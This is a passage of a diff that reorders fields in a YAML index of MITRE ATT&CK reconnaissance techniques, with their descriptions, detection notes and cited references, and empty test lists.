+      - url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
+        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
+          links – when phishers bring along their own web pages. Retrieved October
+          20, 2020.'
+        source_name: Sophos Attachment
+      - url: https://github.com/ryhanson/phishery
+        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
+          23, 2020.
+        source_name: GitHub Phishery
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
     atomic_tests: []
   T1597.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1597.002
-        url: https://attack.mitre.org/techniques/T1597/002
-      - source_name: ZDNET Selling Data
-        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
-        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
-          73 million user records on the dark web. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Purchase Technical Data
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:44:43.900Z'
+      created: '2020-10-02T17:05:43.562Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f
       description: |-
         Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
 
         Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
-      id: attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:44:43.900Z'
-      created: '2020-10-02T17:05:43.562Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1597/002
+        external_id: T1597.002
+        source_name: mitre-attack
+      - url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
+        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
+          73 million user records on the dark web. Retrieved October 20, 2020.
+        source_name: ZDNET Selling Data
     atomic_tests: []
   T1596.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596.005
-        url: https://attack.mitre.org/techniques/T1596/005
-      - source_name: Shodan
-        url: https://shodan.io
-        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Scan Databases
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:49:49.260Z'
+      created: '2020-10-02T17:00:44.586Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f
       description: |-
         Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)
 
         Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
-      id: attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:49:49.260Z'
-      created: '2020-10-02T17:00:44.586Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596/005
+        external_id: T1596.005
+        source_name: mitre-attack
+      - url: https://shodan.io
+        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
+        source_name: Shodan
     atomic_tests: []
   T1595.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1595.001
-        url: https://attack.mitre.org/techniques/T1595/001
-      - source_name: Botnet Scan
-        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
-        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
-          a Botnet. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Scanning IP Blocks
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:19:38.469Z'
+      created: '2020-10-02T16:54:23.193Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120
       description: |-
         Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.
 
         Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:19:38.469Z'
-      created: '2020-10-02T16:54:23.193Z'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
       x_mitre_detection: |-
         Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).
 
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1595/001
+        external_id: T1595.001
+        source_name: mitre-attack
+      - url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
+        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
+          a Botnet. Retrieved October 20, 2020.
+        source_name: Botnet Scan
     atomic_tests: []
   T1597:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1597
-        url: https://attack.mitre.org/techniques/T1597
-      - source_name: D3Secutrity CTI Feeds
-        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
-        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
-          Intelligence Feeds. Retrieved October 20, 2020.
-      - source_name: ZDNET Selling Data
-        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
-        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
-          73 million user records on the dark web. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Search Closed Sources
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:45:31.020Z'
+      created: '2020-10-02T17:01:42.558Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4
       description: |-
         Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)
 
         Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
-      id: attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:45:31.020Z'
-      created: '2020-10-02T17:01:42.558Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1597
+        external_id: T1597
+        source_name: mitre-attack
+      - url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
+        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
+          Intelligence Feeds. Retrieved October 20, 2020.
+        source_name: D3Secutrity CTI Feeds
+      - url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
+        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
+          73 million user records on the dark web. Retrieved October 20, 2020.
+        source_name: ZDNET Selling Data
     atomic_tests: []
   T1593.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1593.002
-        url: https://attack.mitre.org/techniques/T1593/002
-      - source_name: SecurityTrails Google Hacking
-        url: https://securitytrails.com/blog/google-hacking-techniques
-        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
-          Retrieved October 20, 2020.
-      - source_name: ExploitDB GoogleHacking
-        url: https://www.exploit-db.com/google-hacking-database
-        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
-          October 23, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Search Engines
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:52:06.960Z'
+      created: '2020-10-02T16:50:12.809Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968
       description: |-
         Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
 
         Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).
-      id: attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:52:06.960Z'
-      created: '2020-10-02T16:50:12.809Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1593/002
+        external_id: T1593.002
+        source_name: mitre-attack
+      - url: https://securitytrails.com/blog/google-hacking-techniques
+        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
+          Retrieved October 20, 2020.
+        source_name: SecurityTrails Google Hacking
+      - url: https://www.exploit-db.com/google-hacking-database
+        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
+          October 23, 2020.
+        source_name: ExploitDB GoogleHacking
     atomic_tests: []
   T1596:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596
-        url: https://attack.mitre.org/techniques/T1596
-      - source_name: WHOIS
-        url: https://www.whois.net/
-        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
-      - source_name: Medium SSL Cert
-        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
-        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
-          from Server (Site URL). Retrieved October 20, 2020.
-      - source_name: SSLShopper Lookup
-        url: https://www.sslshopper.com/ssl-checker.html
-        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
-      - source_name: DigitalShadows CDN
-        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
-        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
-          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
-          You Can Do About It. Retrieved October 20, 2020.
-      - source_name: Shodan
-        url: https://shodan.io
-        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Search Open Technical Databases
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:50:44.308Z'
+      created: '2020-10-02T16:56:05.810Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0
       description: |-
         Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)
 
         Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:50:44.308Z'
-      created: '2020-10-02T16:56:05.810Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596
+        external_id: T1596
+        source_name: mitre-attack
+      - url: https://www.whois.net/
+        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
+        source_name: WHOIS
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
+      - url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
+        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
+          from Server (Site URL). Retrieved October 20, 2020.
+        source_name: Medium SSL Cert
+      - url: https://www.sslshopper.com/ssl-checker.html
+        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
+        source_name: SSLShopper Lookup
+      - url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
+        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
+          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
+          You Can Do About It. Retrieved October 20, 2020.
+        source_name: DigitalShadows CDN
+      - url: https://shodan.io
+        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
+        source_name: Shodan
     atomic_tests: []
   T1593:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1593
-        url: https://attack.mitre.org/techniques/T1593
-      - source_name: Cyware Social Media
-        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
-        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
-          Media To Break Into Your Company. Retrieved October 20, 2020.
-      - source_name: SecurityTrails Google Hacking
-        url: https://securitytrails.com/blog/google-hacking-techniques
-        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
-          Retrieved October 20, 2020.
-      - source_name: ExploitDB GoogleHacking
-        url: https://www.exploit-db.com/google-hacking-database
-        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
-          October 23, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-15T03:52:41.104Z'
       name: Search Open Websites/Domains
+      x_mitre_version: '1.0'
+      created: '2020-10-02T16:48:04.509Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365
       description: |-
         Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
 
         Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).
-      id: attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:52:41.104Z'
-      created: '2020-10-02T16:48:04.509Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1593
+        external_id: T1593
+        source_name: mitre-attack
+      - url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
+        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
+          Media To Break Into Your Company. Retrieved October 20, 2020.
+        source_name: Cyware Social Media
+      - url: https://securitytrails.com/blog/google-hacking-techniques
+        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
+          Retrieved October 20, 2020.
+        source_name: SecurityTrails Google Hacking
+      - url: https://www.exploit-db.com/google-hacking-database
+        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
+          October 23, 2020.
+        source_name: ExploitDB GoogleHacking
     atomic_tests: []
   T1594:
     technique:
-      created: '2020-10-02T16:51:50.306Z'
-      modified: '2021-04-15T03:53:33.023Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
       type: attack-pattern
+      modified: '2021-04-15T03:53:33.023Z'
+      name: Search Victim-Owned Websites
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      created: '2020-10-02T16:51:50.306Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
       id: attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26
       description: |-
         Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
 
         Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).
-      name: Search Victim-Owned Websites
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1594
-        url: https://attack.mitre.org/techniques/T1594
-      - source_name: Comparitech Leak
-        url: https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/
-        description: Bischoff, P. (2020, October 15). Broadvoice database of more
-          than 350 million customer records exposed online. Retrieved October 20,
-          2020.
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
       x_mitre_detection: Monitor for suspicious network traffic that could be indicative
         of adversary reconnaissance, such as rapid successions of requests indicative
         of web crawling and/or large quantities of requests originating from a single
@@ -63359,215 +65394,224 @@ reconnaissance:
         Analyzing web metadata may also reveal artifacts that can be attributed to
         potentially malicious activity, such as referer or user-agent string HTTP/S
         fields.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1594
+        external_id: T1594
+        source_name: mitre-attack
+      - url: https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/
+        description: Bischoff, P. (2020, October 15). Broadvoice database of more
+          than 350 million customer records exposed online. Retrieved October 20,
+          2020.
+        source_name: Comparitech Leak
     atomic_tests: []
   T1593.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1593.001
-        url: https://attack.mitre.org/techniques/T1593/001
-      - source_name: Cyware Social Media
-        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
-        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
-          Media To Break Into Your Company. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Social Media
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:52:40.958Z'
+      created: '2020-10-02T16:49:31.262Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3
       description: |-
         Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.
 
         Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
-      id: attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:52:40.958Z'
-      created: '2020-10-02T16:49:31.262Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1593/001
+        external_id: T1593.001
+        source_name: mitre-attack
+      - url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
